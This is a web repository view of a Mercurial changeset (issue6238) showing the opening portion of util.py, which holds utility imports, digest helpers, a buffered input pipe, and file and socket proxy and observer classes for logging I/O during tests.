##// END OF EJS Templates
util: avoid referencing `time.clock()` on Windows when missing (issue6238)...
Matt Harbison -
r44470:f9d29e1d default
parent child Browse files
Show More
@@ -1,3610 +1,3611 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 57 stringutil,
58 58 )
59 59
60 60 base85 = policy.importmod('base85')
61 61 osutil = policy.importmod('osutil')
62 62
63 63 b85decode = base85.b85decode
64 64 b85encode = base85.b85encode
65 65
66 66 cookielib = pycompat.cookielib
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 safehasattr = pycompat.safehasattr
70 70 socketserver = pycompat.socketserver
71 71 bytesio = pycompat.bytesio
72 72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 73 stringio = bytesio
74 74 xmlrpclib = pycompat.xmlrpclib
75 75
76 76 httpserver = urllibcompat.httpserver
77 77 urlerr = urllibcompat.urlerr
78 78 urlreq = urllibcompat.urlreq
79 79
80 80 # workaround for win32mbcs
81 81 _filenamebytestr = pycompat.bytestr
82 82
83 83 if pycompat.iswindows:
84 84 from . import windows as platform
85 85 else:
86 86 from . import posix as platform
87 87
88 88 _ = i18n._
89 89
90 90 bindunixsocket = platform.bindunixsocket
91 91 cachestat = platform.cachestat
92 92 checkexec = platform.checkexec
93 93 checklink = platform.checklink
94 94 copymode = platform.copymode
95 95 expandglobs = platform.expandglobs
96 96 getfsmountpoint = platform.getfsmountpoint
97 97 getfstype = platform.getfstype
98 98 groupmembers = platform.groupmembers
99 99 groupname = platform.groupname
100 100 isexec = platform.isexec
101 101 isowner = platform.isowner
102 102 listdir = osutil.listdir
103 103 localpath = platform.localpath
104 104 lookupreg = platform.lookupreg
105 105 makedir = platform.makedir
106 106 nlinks = platform.nlinks
107 107 normpath = platform.normpath
108 108 normcase = platform.normcase
109 109 normcasespec = platform.normcasespec
110 110 normcasefallback = platform.normcasefallback
111 111 openhardlinks = platform.openhardlinks
112 112 oslink = platform.oslink
113 113 parsepatchoutput = platform.parsepatchoutput
114 114 pconvert = platform.pconvert
115 115 poll = platform.poll
116 116 posixfile = platform.posixfile
117 117 readlink = platform.readlink
118 118 rename = platform.rename
119 119 removedirs = platform.removedirs
120 120 samedevice = platform.samedevice
121 121 samefile = platform.samefile
122 122 samestat = platform.samestat
123 123 setflags = platform.setflags
124 124 split = platform.split
125 125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 126 statisexec = platform.statisexec
127 127 statislink = platform.statislink
128 128 umask = platform.umask
129 129 unlink = platform.unlink
130 130 username = platform.username
131 131
132 132 # small compat layer
133 133 compengines = compression.compengines
134 134 SERVERROLE = compression.SERVERROLE
135 135 CLIENTROLE = compression.CLIENTROLE
136 136
137 137 try:
138 138 recvfds = osutil.recvfds
139 139 except AttributeError:
140 140 pass
141 141
142 142 # Python compatibility
143 143
144 144 _notset = object()
145 145
146 146
147 147 def bitsfrom(container):
148 148 bits = 0
149 149 for bit in container:
150 150 bits |= bit
151 151 return bits
152 152
153 153
154 154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 155 # to display anything to standard user so detect if we are running test and
156 156 # only use python deprecation warning in this case.
157 157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 158 if _dowarn:
159 159 # explicitly unfilter our warning for python 2.7
160 160 #
161 161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 168 if _dowarn and pycompat.ispy3:
169 169 # silence warning emitted by passing user string to re.sub()
170 170 warnings.filterwarnings(
171 171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 172 )
173 173 warnings.filterwarnings(
174 174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 175 )
176 176 # TODO: reinvent imp.is_frozen()
177 177 warnings.filterwarnings(
178 178 'ignore',
179 179 'the imp module is deprecated',
180 180 DeprecationWarning,
181 181 'mercurial',
182 182 )
183 183
184 184
185 185 def nouideprecwarn(msg, version, stacklevel=1):
186 186 """Issue an python native deprecation warning
187 187
188 188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 189 """
190 190 if _dowarn:
191 191 msg += (
192 192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 193 b" update your code.)"
194 194 ) % version
195 195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196 196
197 197
198 198 DIGESTS = {
199 199 b'md5': hashlib.md5,
200 200 b'sha1': hashlib.sha1,
201 201 b'sha512': hashlib.sha512,
202 202 }
203 203 # List of digest types from strongest to weakest
204 204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205 205
206 206 for k in DIGESTS_BY_STRENGTH:
207 207 assert k in DIGESTS
208 208
209 209
210 210 class digester(object):
211 211 """helper to compute digests.
212 212
213 213 This helper can be used to compute one or more digests given their name.
214 214
215 215 >>> d = digester([b'md5', b'sha1'])
216 216 >>> d.update(b'foo')
217 217 >>> [k for k in sorted(d)]
218 218 ['md5', 'sha1']
219 219 >>> d[b'md5']
220 220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 221 >>> d[b'sha1']
222 222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 223 >>> digester.preferred([b'md5', b'sha1'])
224 224 'sha1'
225 225 """
226 226
227 227 def __init__(self, digests, s=b''):
228 228 self._hashes = {}
229 229 for k in digests:
230 230 if k not in DIGESTS:
231 231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 232 self._hashes[k] = DIGESTS[k]()
233 233 if s:
234 234 self.update(s)
235 235
236 236 def update(self, data):
237 237 for h in self._hashes.values():
238 238 h.update(data)
239 239
240 240 def __getitem__(self, key):
241 241 if key not in DIGESTS:
242 242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 243 return nodemod.hex(self._hashes[key].digest())
244 244
245 245 def __iter__(self):
246 246 return iter(self._hashes)
247 247
248 248 @staticmethod
249 249 def preferred(supported):
250 250 """returns the strongest digest type in both supported and DIGESTS."""
251 251
252 252 for k in DIGESTS_BY_STRENGTH:
253 253 if k in supported:
254 254 return k
255 255 return None
256 256
257 257
258 258 class digestchecker(object):
259 259 """file handle wrapper that additionally checks content against a given
260 260 size and digests.
261 261
262 262 d = digestchecker(fh, size, {'md5': '...'})
263 263
264 264 When multiple digests are given, all of them are validated.
265 265 """
266 266
267 267 def __init__(self, fh, size, digests):
268 268 self._fh = fh
269 269 self._size = size
270 270 self._got = 0
271 271 self._digests = dict(digests)
272 272 self._digester = digester(self._digests.keys())
273 273
274 274 def read(self, length=-1):
275 275 content = self._fh.read(length)
276 276 self._digester.update(content)
277 277 self._got += len(content)
278 278 return content
279 279
280 280 def validate(self):
281 281 if self._size != self._got:
282 282 raise error.Abort(
283 283 _(b'size mismatch: expected %d, got %d')
284 284 % (self._size, self._got)
285 285 )
286 286 for k, v in self._digests.items():
287 287 if v != self._digester[k]:
288 288 # i18n: first parameter is a digest name
289 289 raise error.Abort(
290 290 _(b'%s mismatch: expected %s, got %s')
291 291 % (k, v, self._digester[k])
292 292 )
293 293
294 294
295 295 try:
296 296 buffer = buffer
297 297 except NameError:
298 298
299 299 def buffer(sliceable, offset=0, length=None):
300 300 if length is not None:
301 301 return memoryview(sliceable)[offset : offset + length]
302 302 return memoryview(sliceable)[offset:]
303 303
304 304
305 305 _chunksize = 4096
306 306
307 307
308 308 class bufferedinputpipe(object):
309 309 """a manually buffered input pipe
310 310
311 311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 312 the same time. We cannot probe the buffer state and select will not detect
313 313 that data are ready to read if they are already buffered.
314 314
315 315 This class let us work around that by implementing its own buffering
316 316 (allowing efficient readline) while offering a way to know if the buffer is
317 317 empty from the output (allowing collaboration of the buffer with polling).
318 318
319 319 This class lives in the 'util' module because it makes use of the 'os'
320 320 module from the python stdlib.
321 321 """
322 322
323 323 def __new__(cls, fh):
324 324 # If we receive a fileobjectproxy, we need to use a variation of this
325 325 # class that notifies observers about activity.
326 326 if isinstance(fh, fileobjectproxy):
327 327 cls = observedbufferedinputpipe
328 328
329 329 return super(bufferedinputpipe, cls).__new__(cls)
330 330
331 331 def __init__(self, input):
332 332 self._input = input
333 333 self._buffer = []
334 334 self._eof = False
335 335 self._lenbuf = 0
336 336
337 337 @property
338 338 def hasbuffer(self):
339 339 """True is any data is currently buffered
340 340
341 341 This will be used externally a pre-step for polling IO. If there is
342 342 already data then no polling should be set in place."""
343 343 return bool(self._buffer)
344 344
345 345 @property
346 346 def closed(self):
347 347 return self._input.closed
348 348
349 349 def fileno(self):
350 350 return self._input.fileno()
351 351
352 352 def close(self):
353 353 return self._input.close()
354 354
355 355 def read(self, size):
356 356 while (not self._eof) and (self._lenbuf < size):
357 357 self._fillbuffer()
358 358 return self._frombuffer(size)
359 359
360 360 def unbufferedread(self, size):
361 361 if not self._eof and self._lenbuf == 0:
362 362 self._fillbuffer(max(size, _chunksize))
363 363 return self._frombuffer(min(self._lenbuf, size))
364 364
365 365 def readline(self, *args, **kwargs):
366 366 if len(self._buffer) > 1:
367 367 # this should not happen because both read and readline end with a
368 368 # _frombuffer call that collapse it.
369 369 self._buffer = [b''.join(self._buffer)]
370 370 self._lenbuf = len(self._buffer[0])
371 371 lfi = -1
372 372 if self._buffer:
373 373 lfi = self._buffer[-1].find(b'\n')
374 374 while (not self._eof) and lfi < 0:
375 375 self._fillbuffer()
376 376 if self._buffer:
377 377 lfi = self._buffer[-1].find(b'\n')
378 378 size = lfi + 1
379 379 if lfi < 0: # end of file
380 380 size = self._lenbuf
381 381 elif len(self._buffer) > 1:
382 382 # we need to take previous chunks into account
383 383 size += self._lenbuf - len(self._buffer[-1])
384 384 return self._frombuffer(size)
385 385
386 386 def _frombuffer(self, size):
387 387 """return at most 'size' data from the buffer
388 388
389 389 The data are removed from the buffer."""
390 390 if size == 0 or not self._buffer:
391 391 return b''
392 392 buf = self._buffer[0]
393 393 if len(self._buffer) > 1:
394 394 buf = b''.join(self._buffer)
395 395
396 396 data = buf[:size]
397 397 buf = buf[len(data) :]
398 398 if buf:
399 399 self._buffer = [buf]
400 400 self._lenbuf = len(buf)
401 401 else:
402 402 self._buffer = []
403 403 self._lenbuf = 0
404 404 return data
405 405
406 406 def _fillbuffer(self, size=_chunksize):
407 407 """read data to the buffer"""
408 408 data = os.read(self._input.fileno(), size)
409 409 if not data:
410 410 self._eof = True
411 411 else:
412 412 self._lenbuf += len(data)
413 413 self._buffer.append(data)
414 414
415 415 return data
416 416
417 417
418 418 def mmapread(fp):
419 419 try:
420 420 fd = getattr(fp, 'fileno', lambda: fp)()
421 421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 422 except ValueError:
423 423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 424 # if the file is empty, and if so, return an empty buffer.
425 425 if os.fstat(fd).st_size == 0:
426 426 return b''
427 427 raise
428 428
429 429
430 430 class fileobjectproxy(object):
431 431 """A proxy around file objects that tells a watcher when events occur.
432 432
433 433 This type is intended to only be used for testing purposes. Think hard
434 434 before using it in important code.
435 435 """
436 436
437 437 __slots__ = (
438 438 '_orig',
439 439 '_observer',
440 440 )
441 441
442 442 def __init__(self, fh, observer):
443 443 object.__setattr__(self, '_orig', fh)
444 444 object.__setattr__(self, '_observer', observer)
445 445
446 446 def __getattribute__(self, name):
447 447 ours = {
448 448 '_observer',
449 449 # IOBase
450 450 'close',
451 451 # closed if a property
452 452 'fileno',
453 453 'flush',
454 454 'isatty',
455 455 'readable',
456 456 'readline',
457 457 'readlines',
458 458 'seek',
459 459 'seekable',
460 460 'tell',
461 461 'truncate',
462 462 'writable',
463 463 'writelines',
464 464 # RawIOBase
465 465 'read',
466 466 'readall',
467 467 'readinto',
468 468 'write',
469 469 # BufferedIOBase
470 470 # raw is a property
471 471 'detach',
472 472 # read defined above
473 473 'read1',
474 474 # readinto defined above
475 475 # write defined above
476 476 }
477 477
478 478 # We only observe some methods.
479 479 if name in ours:
480 480 return object.__getattribute__(self, name)
481 481
482 482 return getattr(object.__getattribute__(self, '_orig'), name)
483 483
484 484 def __nonzero__(self):
485 485 return bool(object.__getattribute__(self, '_orig'))
486 486
487 487 __bool__ = __nonzero__
488 488
489 489 def __delattr__(self, name):
490 490 return delattr(object.__getattribute__(self, '_orig'), name)
491 491
492 492 def __setattr__(self, name, value):
493 493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494 494
495 495 def __iter__(self):
496 496 return object.__getattribute__(self, '_orig').__iter__()
497 497
498 498 def _observedcall(self, name, *args, **kwargs):
499 499 # Call the original object.
500 500 orig = object.__getattribute__(self, '_orig')
501 501 res = getattr(orig, name)(*args, **kwargs)
502 502
503 503 # Call a method on the observer of the same name with arguments
504 504 # so it can react, log, etc.
505 505 observer = object.__getattribute__(self, '_observer')
506 506 fn = getattr(observer, name, None)
507 507 if fn:
508 508 fn(res, *args, **kwargs)
509 509
510 510 return res
511 511
512 512 def close(self, *args, **kwargs):
513 513 return object.__getattribute__(self, '_observedcall')(
514 514 'close', *args, **kwargs
515 515 )
516 516
517 517 def fileno(self, *args, **kwargs):
518 518 return object.__getattribute__(self, '_observedcall')(
519 519 'fileno', *args, **kwargs
520 520 )
521 521
522 522 def flush(self, *args, **kwargs):
523 523 return object.__getattribute__(self, '_observedcall')(
524 524 'flush', *args, **kwargs
525 525 )
526 526
527 527 def isatty(self, *args, **kwargs):
528 528 return object.__getattribute__(self, '_observedcall')(
529 529 'isatty', *args, **kwargs
530 530 )
531 531
532 532 def readable(self, *args, **kwargs):
533 533 return object.__getattribute__(self, '_observedcall')(
534 534 'readable', *args, **kwargs
535 535 )
536 536
537 537 def readline(self, *args, **kwargs):
538 538 return object.__getattribute__(self, '_observedcall')(
539 539 'readline', *args, **kwargs
540 540 )
541 541
542 542 def readlines(self, *args, **kwargs):
543 543 return object.__getattribute__(self, '_observedcall')(
544 544 'readlines', *args, **kwargs
545 545 )
546 546
547 547 def seek(self, *args, **kwargs):
548 548 return object.__getattribute__(self, '_observedcall')(
549 549 'seek', *args, **kwargs
550 550 )
551 551
552 552 def seekable(self, *args, **kwargs):
553 553 return object.__getattribute__(self, '_observedcall')(
554 554 'seekable', *args, **kwargs
555 555 )
556 556
557 557 def tell(self, *args, **kwargs):
558 558 return object.__getattribute__(self, '_observedcall')(
559 559 'tell', *args, **kwargs
560 560 )
561 561
562 562 def truncate(self, *args, **kwargs):
563 563 return object.__getattribute__(self, '_observedcall')(
564 564 'truncate', *args, **kwargs
565 565 )
566 566
567 567 def writable(self, *args, **kwargs):
568 568 return object.__getattribute__(self, '_observedcall')(
569 569 'writable', *args, **kwargs
570 570 )
571 571
572 572 def writelines(self, *args, **kwargs):
573 573 return object.__getattribute__(self, '_observedcall')(
574 574 'writelines', *args, **kwargs
575 575 )
576 576
577 577 def read(self, *args, **kwargs):
578 578 return object.__getattribute__(self, '_observedcall')(
579 579 'read', *args, **kwargs
580 580 )
581 581
582 582 def readall(self, *args, **kwargs):
583 583 return object.__getattribute__(self, '_observedcall')(
584 584 'readall', *args, **kwargs
585 585 )
586 586
587 587 def readinto(self, *args, **kwargs):
588 588 return object.__getattribute__(self, '_observedcall')(
589 589 'readinto', *args, **kwargs
590 590 )
591 591
592 592 def write(self, *args, **kwargs):
593 593 return object.__getattribute__(self, '_observedcall')(
594 594 'write', *args, **kwargs
595 595 )
596 596
597 597 def detach(self, *args, **kwargs):
598 598 return object.__getattribute__(self, '_observedcall')(
599 599 'detach', *args, **kwargs
600 600 )
601 601
602 602 def read1(self, *args, **kwargs):
603 603 return object.__getattribute__(self, '_observedcall')(
604 604 'read1', *args, **kwargs
605 605 )
606 606
607 607
608 608 class observedbufferedinputpipe(bufferedinputpipe):
609 609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610 610
611 611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 612 bypass ``fileobjectproxy``. Because of this, we need to make
613 613 ``bufferedinputpipe`` aware of these operations.
614 614
615 615 This variation of ``bufferedinputpipe`` can notify observers about
616 616 ``os.read()`` events. It also re-publishes other events, such as
617 617 ``read()`` and ``readline()``.
618 618 """
619 619
620 620 def _fillbuffer(self):
621 621 res = super(observedbufferedinputpipe, self)._fillbuffer()
622 622
623 623 fn = getattr(self._input._observer, 'osread', None)
624 624 if fn:
625 625 fn(res, _chunksize)
626 626
627 627 return res
628 628
629 629 # We use different observer methods because the operation isn't
630 630 # performed on the actual file object but on us.
631 631 def read(self, size):
632 632 res = super(observedbufferedinputpipe, self).read(size)
633 633
634 634 fn = getattr(self._input._observer, 'bufferedread', None)
635 635 if fn:
636 636 fn(res, size)
637 637
638 638 return res
639 639
640 640 def readline(self, *args, **kwargs):
641 641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642 642
643 643 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 644 if fn:
645 645 fn(res)
646 646
647 647 return res
648 648
649 649
650 650 PROXIED_SOCKET_METHODS = {
651 651 'makefile',
652 652 'recv',
653 653 'recvfrom',
654 654 'recvfrom_into',
655 655 'recv_into',
656 656 'send',
657 657 'sendall',
658 658 'sendto',
659 659 'setblocking',
660 660 'settimeout',
661 661 'gettimeout',
662 662 'setsockopt',
663 663 }
664 664
665 665
666 666 class socketproxy(object):
667 667 """A proxy around a socket that tells a watcher when events occur.
668 668
669 669 This is like ``fileobjectproxy`` except for sockets.
670 670
671 671 This type is intended to only be used for testing purposes. Think hard
672 672 before using it in important code.
673 673 """
674 674
675 675 __slots__ = (
676 676 '_orig',
677 677 '_observer',
678 678 )
679 679
680 680 def __init__(self, sock, observer):
681 681 object.__setattr__(self, '_orig', sock)
682 682 object.__setattr__(self, '_observer', observer)
683 683
684 684 def __getattribute__(self, name):
685 685 if name in PROXIED_SOCKET_METHODS:
686 686 return object.__getattribute__(self, name)
687 687
688 688 return getattr(object.__getattribute__(self, '_orig'), name)
689 689
690 690 def __delattr__(self, name):
691 691 return delattr(object.__getattribute__(self, '_orig'), name)
692 692
693 693 def __setattr__(self, name, value):
694 694 return setattr(object.__getattribute__(self, '_orig'), name, value)
695 695
696 696 def __nonzero__(self):
697 697 return bool(object.__getattribute__(self, '_orig'))
698 698
699 699 __bool__ = __nonzero__
700 700
701 701 def _observedcall(self, name, *args, **kwargs):
702 702 # Call the original object.
703 703 orig = object.__getattribute__(self, '_orig')
704 704 res = getattr(orig, name)(*args, **kwargs)
705 705
706 706 # Call a method on the observer of the same name with arguments
707 707 # so it can react, log, etc.
708 708 observer = object.__getattribute__(self, '_observer')
709 709 fn = getattr(observer, name, None)
710 710 if fn:
711 711 fn(res, *args, **kwargs)
712 712
713 713 return res
714 714
715 715 def makefile(self, *args, **kwargs):
716 716 res = object.__getattribute__(self, '_observedcall')(
717 717 'makefile', *args, **kwargs
718 718 )
719 719
720 720 # The file object may be used for I/O. So we turn it into a
721 721 # proxy using our observer.
722 722 observer = object.__getattribute__(self, '_observer')
723 723 return makeloggingfileobject(
724 724 observer.fh,
725 725 res,
726 726 observer.name,
727 727 reads=observer.reads,
728 728 writes=observer.writes,
729 729 logdata=observer.logdata,
730 730 logdataapis=observer.logdataapis,
731 731 )
732 732
733 733 def recv(self, *args, **kwargs):
734 734 return object.__getattribute__(self, '_observedcall')(
735 735 'recv', *args, **kwargs
736 736 )
737 737
738 738 def recvfrom(self, *args, **kwargs):
739 739 return object.__getattribute__(self, '_observedcall')(
740 740 'recvfrom', *args, **kwargs
741 741 )
742 742
743 743 def recvfrom_into(self, *args, **kwargs):
744 744 return object.__getattribute__(self, '_observedcall')(
745 745 'recvfrom_into', *args, **kwargs
746 746 )
747 747
748 748 def recv_into(self, *args, **kwargs):
749 749 return object.__getattribute__(self, '_observedcall')(
750 750 'recv_info', *args, **kwargs
751 751 )
752 752
753 753 def send(self, *args, **kwargs):
754 754 return object.__getattribute__(self, '_observedcall')(
755 755 'send', *args, **kwargs
756 756 )
757 757
758 758 def sendall(self, *args, **kwargs):
759 759 return object.__getattribute__(self, '_observedcall')(
760 760 'sendall', *args, **kwargs
761 761 )
762 762
763 763 def sendto(self, *args, **kwargs):
764 764 return object.__getattribute__(self, '_observedcall')(
765 765 'sendto', *args, **kwargs
766 766 )
767 767
768 768 def setblocking(self, *args, **kwargs):
769 769 return object.__getattribute__(self, '_observedcall')(
770 770 'setblocking', *args, **kwargs
771 771 )
772 772
773 773 def settimeout(self, *args, **kwargs):
774 774 return object.__getattribute__(self, '_observedcall')(
775 775 'settimeout', *args, **kwargs
776 776 )
777 777
778 778 def gettimeout(self, *args, **kwargs):
779 779 return object.__getattribute__(self, '_observedcall')(
780 780 'gettimeout', *args, **kwargs
781 781 )
782 782
783 783 def setsockopt(self, *args, **kwargs):
784 784 return object.__getattribute__(self, '_observedcall')(
785 785 'setsockopt', *args, **kwargs
786 786 )
787 787
788 788
789 789 class baseproxyobserver(object):
790 790 def __init__(self, fh, name, logdata, logdataapis):
791 791 self.fh = fh
792 792 self.name = name
793 793 self.logdata = logdata
794 794 self.logdataapis = logdataapis
795 795
796 796 def _writedata(self, data):
797 797 if not self.logdata:
798 798 if self.logdataapis:
799 799 self.fh.write(b'\n')
800 800 self.fh.flush()
801 801 return
802 802
803 803 # Simple case writes all data on a single line.
804 804 if b'\n' not in data:
805 805 if self.logdataapis:
806 806 self.fh.write(b': %s\n' % stringutil.escapestr(data))
807 807 else:
808 808 self.fh.write(
809 809 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
810 810 )
811 811 self.fh.flush()
812 812 return
813 813
814 814 # Data with newlines is written to multiple lines.
815 815 if self.logdataapis:
816 816 self.fh.write(b':\n')
817 817
818 818 lines = data.splitlines(True)
819 819 for line in lines:
820 820 self.fh.write(
821 821 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
822 822 )
823 823 self.fh.flush()
824 824
825 825
826 826 class fileobjectobserver(baseproxyobserver):
827 827 """Logs file object activity."""
828 828
829 829 def __init__(
830 830 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
831 831 ):
832 832 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
833 833 self.reads = reads
834 834 self.writes = writes
835 835
836 836 def read(self, res, size=-1):
837 837 if not self.reads:
838 838 return
839 839 # Python 3 can return None from reads at EOF instead of empty strings.
840 840 if res is None:
841 841 res = b''
842 842
843 843 if size == -1 and res == b'':
844 844 # Suppress pointless read(-1) calls that return
845 845 # nothing. These happen _a lot_ on Python 3, and there
846 846 # doesn't seem to be a better workaround to have matching
847 847 # Python 2 and 3 behavior. :(
848 848 return
849 849
850 850 if self.logdataapis:
851 851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
852 852
853 853 self._writedata(res)
854 854
855 855 def readline(self, res, limit=-1):
856 856 if not self.reads:
857 857 return
858 858
859 859 if self.logdataapis:
860 860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
861 861
862 862 self._writedata(res)
863 863
864 864 def readinto(self, res, dest):
865 865 if not self.reads:
866 866 return
867 867
868 868 if self.logdataapis:
869 869 self.fh.write(
870 870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
871 871 )
872 872
873 873 data = dest[0:res] if res is not None else b''
874 874
875 875 # _writedata() uses "in" operator and is confused by memoryview because
876 876 # characters are ints on Python 3.
877 877 if isinstance(data, memoryview):
878 878 data = data.tobytes()
879 879
880 880 self._writedata(data)
881 881
882 882 def write(self, res, data):
883 883 if not self.writes:
884 884 return
885 885
886 886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
887 887 # returns the integer bytes written.
888 888 if res is None and data:
889 889 res = len(data)
890 890
891 891 if self.logdataapis:
892 892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
893 893
894 894 self._writedata(data)
895 895
896 896 def flush(self, res):
897 897 if not self.writes:
898 898 return
899 899
900 900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
901 901
902 902 # For observedbufferedinputpipe.
903 903 def bufferedread(self, res, size):
904 904 if not self.reads:
905 905 return
906 906
907 907 if self.logdataapis:
908 908 self.fh.write(
909 909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
910 910 )
911 911
912 912 self._writedata(res)
913 913
914 914 def bufferedreadline(self, res):
915 915 if not self.reads:
916 916 return
917 917
918 918 if self.logdataapis:
919 919 self.fh.write(
920 920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
921 921 )
922 922
923 923 self._writedata(res)
924 924
925 925
926 926 def makeloggingfileobject(
927 927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
928 928 ):
929 929 """Turn a file object into a logging file object."""
930 930
931 931 observer = fileobjectobserver(
932 932 logh,
933 933 name,
934 934 reads=reads,
935 935 writes=writes,
936 936 logdata=logdata,
937 937 logdataapis=logdataapis,
938 938 )
939 939 return fileobjectproxy(fh, observer)
940 940
941 941
942 942 class socketobserver(baseproxyobserver):
943 943 """Logs socket activity."""
944 944
945 945 def __init__(
946 946 self,
947 947 fh,
948 948 name,
949 949 reads=True,
950 950 writes=True,
951 951 states=True,
952 952 logdata=False,
953 953 logdataapis=True,
954 954 ):
955 955 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
956 956 self.reads = reads
957 957 self.writes = writes
958 958 self.states = states
959 959
960 960 def makefile(self, res, mode=None, bufsize=None):
961 961 if not self.states:
962 962 return
963 963
964 964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965 965
966 966 def recv(self, res, size, flags=0):
967 967 if not self.reads:
968 968 return
969 969
970 970 if self.logdataapis:
971 971 self.fh.write(
972 972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 973 )
974 974 self._writedata(res)
975 975
976 976 def recvfrom(self, res, size, flags=0):
977 977 if not self.reads:
978 978 return
979 979
980 980 if self.logdataapis:
981 981 self.fh.write(
982 982 b'%s> recvfrom(%d, %d) -> %d'
983 983 % (self.name, size, flags, len(res[0]))
984 984 )
985 985
986 986 self._writedata(res[0])
987 987
988 988 def recvfrom_into(self, res, buf, size, flags=0):
989 989 if not self.reads:
990 990 return
991 991
992 992 if self.logdataapis:
993 993 self.fh.write(
994 994 b'%s> recvfrom_into(%d, %d) -> %d'
995 995 % (self.name, size, flags, res[0])
996 996 )
997 997
998 998 self._writedata(buf[0 : res[0]])
999 999
1000 1000 def recv_into(self, res, buf, size=0, flags=0):
1001 1001 if not self.reads:
1002 1002 return
1003 1003
1004 1004 if self.logdataapis:
1005 1005 self.fh.write(
1006 1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 1007 )
1008 1008
1009 1009 self._writedata(buf[0:res])
1010 1010
1011 1011 def send(self, res, data, flags=0):
1012 1012 if not self.writes:
1013 1013 return
1014 1014
1015 1015 self.fh.write(
1016 1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 1017 )
1018 1018 self._writedata(data)
1019 1019
1020 1020 def sendall(self, res, data, flags=0):
1021 1021 if not self.writes:
1022 1022 return
1023 1023
1024 1024 if self.logdataapis:
1025 1025 # Returns None on success. So don't bother reporting return value.
1026 1026 self.fh.write(
1027 1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 1028 )
1029 1029
1030 1030 self._writedata(data)
1031 1031
1032 1032 def sendto(self, res, data, flagsoraddress, address=None):
1033 1033 if not self.writes:
1034 1034 return
1035 1035
1036 1036 if address:
1037 1037 flags = flagsoraddress
1038 1038 else:
1039 1039 flags = 0
1040 1040
1041 1041 if self.logdataapis:
1042 1042 self.fh.write(
1043 1043 b'%s> sendto(%d, %d, %r) -> %d'
1044 1044 % (self.name, len(data), flags, address, res)
1045 1045 )
1046 1046
1047 1047 self._writedata(data)
1048 1048
1049 1049 def setblocking(self, res, flag):
1050 1050 if not self.states:
1051 1051 return
1052 1052
1053 1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054 1054
1055 1055 def settimeout(self, res, value):
1056 1056 if not self.states:
1057 1057 return
1058 1058
1059 1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060 1060
1061 1061 def gettimeout(self, res):
1062 1062 if not self.states:
